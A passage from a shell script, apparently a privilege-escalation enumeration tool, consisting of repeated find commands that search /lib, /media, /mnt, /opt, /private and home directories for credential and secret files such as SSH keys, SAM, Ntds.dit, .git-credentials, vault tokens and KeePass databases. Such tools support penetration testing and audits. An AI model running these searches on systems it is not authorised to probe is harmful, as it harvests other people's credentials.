\"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \"ssh*config\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB=`eval_bckgrd "find /lib -name \"log4j-core*.jar\" -o -name \"*.service\" -o -name \"rocketchat.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB32=`eval_bckgrd "find /lib32 -name \"*.service\" -o -name \"*.timer\" -o -name \"log4j-core*.jar\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_LIB64=`eval_bckgrd "find /lib64 -name \"*.service\" -o -name \"*.timer\" -o -name \"log4j-core*.jar\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_MEDIA=`eval_bckgrd "find /media -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_MNT=`eval_bckgrd "find /mnt -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \"sess_*\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_OPT=`eval_bckgrd "find /opt -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_PRIVATE=`eval_bckgrd "find /private -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o 